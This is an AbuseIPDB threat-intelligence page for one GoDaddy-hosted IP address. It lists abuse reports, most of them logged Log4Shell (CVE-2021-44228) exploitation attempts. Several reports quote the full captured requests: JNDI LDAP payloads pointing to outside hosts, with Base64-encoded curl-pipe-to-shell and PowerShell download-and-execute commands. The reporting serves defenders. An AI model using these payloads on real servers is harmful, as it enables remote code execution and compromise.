JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 148.72.213.165

148.72.213.165 was found in our database!

This IP was reported 15 times. Confidence of Abuse is 0%: ?

ISP	GoDaddy.com, LLC
Usage Type	Data Center/Web Hosting/Transit
ASN	AS26496
Hostname(s)	165.213.72.148.host.secureserver.net
Domain Name	godaddy.com
Country	🇸🇬 Singapore
City	Singapore

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 148.72.213.165

Whois 148.72.213.165

IP Abuse Reports for 148.72.213.165:

This IP address has been reported a total of 15 times from 10 distinct sources. 148.72.213.165 was first reported on March 3rd 2022, and the most recent report was 1 year ago.

Old Reports: The most recent abuse report for this IP address is from 1 year ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇮🇳 TC Saini	2024-08-02 14:00:37 (1 year ago)	"Indicators of compromise (IoCs) reported by the GOVT India"	Blog Spam Exploited Host IoT Targeted
🇮🇳 TC Saini	2024-08-02 14:00:37 (1 year ago)	"Indicators of compromise (IoCs) reported by the GOVT India"	Blog Spam Exploited Host IoT Targeted
🇮🇳 TC Saini	2024-08-02 14:00:37 (1 year ago)	"Indicators of compromise (IoCs) reported by the GOVT India"	Blog Spam Exploited Host IoT Targeted
🇹🇼 kk_it_man	2023-02-18 04:23:02 (3 years ago)	ET EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228) ET EXPLOIT Apache log4j RCE Attem ... show more ET EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228) ET EXPLOIT Apache log4j RCE Attempt (tcp ldap) (CVE-2021-44228) ET EXPLOIT Apache log4j RCE Attempt - lower/upper TCP Bypass M1 (CVE-2021-44228) ET EXPLOIT Apache log4j RCE Attempt - lower/upper TCP Bypass M2 (CVE-2021-44228) show less	Port Scan
🇵🇹 miramartins	2023-02-06 14:11:12 (3 years ago)	apache: Apache.Log4j.Error.Log.Remote.Code.Execution ${jndi:ldap://218.24.200.243:8066/TomcatBypa ... show more apache: Apache.Log4j.Error.Log.Remote.Code.Execution ${jndi:ldap://218.24.200.243:8066/TomcatBypass/Command/Base64/cG93ZXJzaGVsbCAtZW5jIFNRQkZBRmdBSUFBb0FFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUJUQUhrQWN3QjBBR1VBYlFBdUFFNEFaUUIwQUM0QVZ3QmxBR0lBWXdCc0FHa0FaUUJ1QUhRQUtRQXVBRVFBYndCM0FHNEFiQUJ2QUdFQVpBQlRBSFFBY2dCcEFHNEFad0FvQUNjQWFBQjBBSFFBY0FBNkFDOEFMd0EyQURFQUxnQTVBRGNBTGdBeEFEZ0FPQUF1QURRQU1nQTZBRGdBTUFBNEFEQUFMd0JzQUhJQUxnQndBSE1BTVFBbkFDa0E=} show less	Exploited Host Web App Attack
🇵🇹 miramartins	2023-02-06 11:14:35 (3 years ago)	Apache.Log4j.Error.Log.Remote.Code.Execution	Hacking Web App Attack
🇵🇹 PT	2022-10-25 05:08:22 (3 years ago)	GET /sol/LoginAction.action?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FComm ... show more GET /sol/LoginAction.action?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vNjEuOTcuMTg4LjQyOjgwODAvbHIuc2ggfHNo%7D HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Accept-Encoding: gzip, deflate Accept: / Connection: keep-alive Referer: ${jndi:ldap://218.24.200.243:8066/TomcatBypass/Command/Base64/Y3VybCAtZnNTTCBodHRwOi8vNjEuOTcuMTg4LjQyOjgwODAvbHIuc2ggfHNo} show less	Hacking Brute-Force Web App Attack
🇧🇾 VBT	2022-09-06 01:59:15 (3 years ago)	148.72.213.165 - - [06/Sep/2022:08:59:13 +0300] "GET /plugins/servlet/secsignid?id=%24%7Bjndi%3Aldap ... show more 148.72.213.165 - - [06/Sep/2022:08:59:13 +0300] "GET /plugins/servlet/secsignid?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCAtZW5jIFNRQkZBRmdBSUFBb0FFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUJUQUhrQWN3QjBBR1VBYlFBdUFFNEFaUUIwQUM0QVZ3QmxBR0lBWXdCc0FHa0FaUUJ1QUhRQUtRQXVBRVFBYndCM0FHNEFiQUJ2QUdFQVpBQlRBSFFBY2dCcEFHNEFad0FvQUNjQWFBQjBBSFFBY0FBNkFDOEFMd0F5QURJQU1nQXVBRElBTXdBNUFDNEFNZ0ExQURFQUxnQXhBRE1BT2dBNEFEQUFPQUF3QUM4QWJBQnlBQzRBY0FCekFERUFKd0FwQUE9PQ%3D%3D%7D HTTP/1.1" 200 11871 "${jndi:ldap://218.24.200.243:8066/TomcatBypass/Command/Base64/cG93ZXJzaGVsbCAtZW5jIFNRQkZBRmdBSUFBb0FFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUJUQUhrQWN3QjBBR1VBYlFBdUFFNEFaUUIwQUM0QVZ3QmxBR0lBWXdCc0FHa0FaUUJ1QUhRQUtRQXVBRVFBYndCM0FHNEFiQUJ2QUdFQVpBQlRBSFFBY2dCcEFHNEFad0FvQUNjQWFBQjBBSFFBY0FBNkFDOEFMd0F5QURJQU1nQXVBRElBTXdBNUFDNEFNZ0ExQURFQUxnQXhBRE1BT2dBNEFEQUFPQUF3QUM4QWJBQnlBQzRBY0FCekFERUFKd0FwQUE9PQ==}" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) App ... show less	Web App Attack
🇧🇾 VBT	2022-08-28 05:35:32 (3 years ago)	148.72.213.165 - - [28/Aug/2022:12:35:31 +0300] "GET /plugins/servlet/secsignid?id=%24%7Bjndi%3Aldap ... show more 148.72.213.165 - - [28/Aug/2022:12:35:31 +0300] "GET /plugins/servlet/secsignid?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCAtZW5jIFNRQkZBRmdBSUFBb0FFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUJUQUhrQWN3QjBBR1VBYlFBdUFFNEFaUUIwQUM0QVZ3QmxBR0lBWXdCc0FHa0FaUUJ1QUhRQUtRQXVBRVFBYndCM0FHNEFiQUJ2QUdFQVpBQlRBSFFBY2dCcEFHNEFad0FvQUNjQWFBQjBBSFFBY0FBNkFDOEFMd0F5QURJQU1nQXVBRElBTXdBNUFDNEFNZ0ExQURFQUxnQXhBRE1BT2dBNEFEQUFPQUF3QUM4QWJBQnlBQzRBY0FCekFERUFKd0FwQUE9PQ%3D%3D%7D HTTP/1.1" 200 11872 "${jndi:ldap://218.24.200.243:8066/TomcatBypass/Command/Base64/cG93ZXJzaGVsbCAtZW5jIFNRQkZBRmdBSUFBb0FFNEFaUUIzQUMwQVR3QmlBR29BWlFCakFIUUFJQUJUQUhrQWN3QjBBR1VBYlFBdUFFNEFaUUIwQUM0QVZ3QmxBR0lBWXdCc0FHa0FaUUJ1QUhRQUtRQXVBRVFBYndCM0FHNEFiQUJ2QUdFQVpBQlRBSFFBY2dCcEFHNEFad0FvQUNjQWFBQjBBSFFBY0FBNkFDOEFMd0F5QURJQU1nQXVBRElBTXdBNUFDNEFNZ0ExQURFQUxnQXhBRE1BT2dBNEFEQUFPQUF3QUM4QWJBQnlBQzRBY0FCekFERUFKd0FwQUE9PQ==}" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) App ... show less	Web App Attack
🇧🇾 VBT	2022-07-16 00:57:52 (4 years ago)	148.72.213.165 - - [16/Jul/2022:07:57:48 +0300] "GET /plugins/servlet/secsignid?id=%24%7Bjndi%3Aldap ... show more 148.72.213.165 - - [16/Jul/2022:07:57:48 +0300] "GET /plugins/servlet/secsignid?id=%24%7Bjndi%3Aldap%3A%2F%2F150.158.106.162%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMjIyLjIzOS4yNTEuMTM6ODA4MC9sci5zaCB8c2g%3D%7D HTTP/1.1" 200 12483 "${jndi:ldap://150.158.106.162:8066/TomcatBypass/Command/Base64/Y3VybCAtZnNTTCBodHRwOi8vMjIyLjIzOS4yNTEuMTM6ODA4MC9sci5zaCB8c2g=}" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko)" "${jndi:ldap://150.158.106.162:8066/TomcatBypass/Command/Base64/Y3VybCAtZnNTTCBodHRwOi8vMjIyLjIzOS4yNTEuMTM6ODA4MC9sci5zaCB8c2g=}" ... show less	Web App Attack
🇺🇸 APT-HUNTERc7e352007	2022-05-13 15:00:00 (4 years ago)	server-other apache log4j logging remote code execution attempt	Hacking
🇬🇷 V	2022-03-18 02:34:26 (4 years ago)	Log4J 181[.]114.232.78:8066/TomcatBypass/Command/Base64/Y3VybCAtZnNTTCBodHRwOi8vMTQuNTUuNjUuMjE3Ojg ... show more Log4J 181[.]114.232.78:8066/TomcatBypass/Command/Base64/Y3VybCAtZnNTTCBodHRwOi8vMTQuNTUuNjUuMjE3OjgwODAvYS9sci5zaCB8c2g= show less	Hacking Exploited Host Web App Attack
🇬🇷 JCB	2022-03-15 09:46:09 (4 years ago)	Log4shell exploits	Hacking Brute-Force Web App Attack
🇰🇷 Ahn jin-yong	2022-03-13 20:43:27 (4 years ago)	Log4J atempts	Hacking Web App Attack
Anonymous	2022-03-03 13:12:36 (4 years ago)	"TCP CLIENT RST from unauthorized IP"	Hacking

Showing 1 to 15 of 15 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇸🇳 213.154.80.51

🇪🇸 196.245.54.143

🇪🇸 196.245.54.142

🇨🇳 183.167.234.154

🇺🇸 162.216.150.36

🇧🇷 138.121.63.184

🇨🇳 106.12.241.195

🇺🇸 103.251.27.69

🇮🇷 37.202.236.238

🇬🇧 35.203.211.155

🇧🇪 34.77.193.112

🇪🇸 196.245.54.141

🇦🇴 193.163.125.240

🇨🇳 121.61.132.249

🇭🇰 119.28.9.170

🇳🇵 111.119.38.127

🇹🇼 111.70.23.250

🇨🇳 106.75.177.192

🇺🇸 69.164.210.102

🇳🇱 45.156.87.182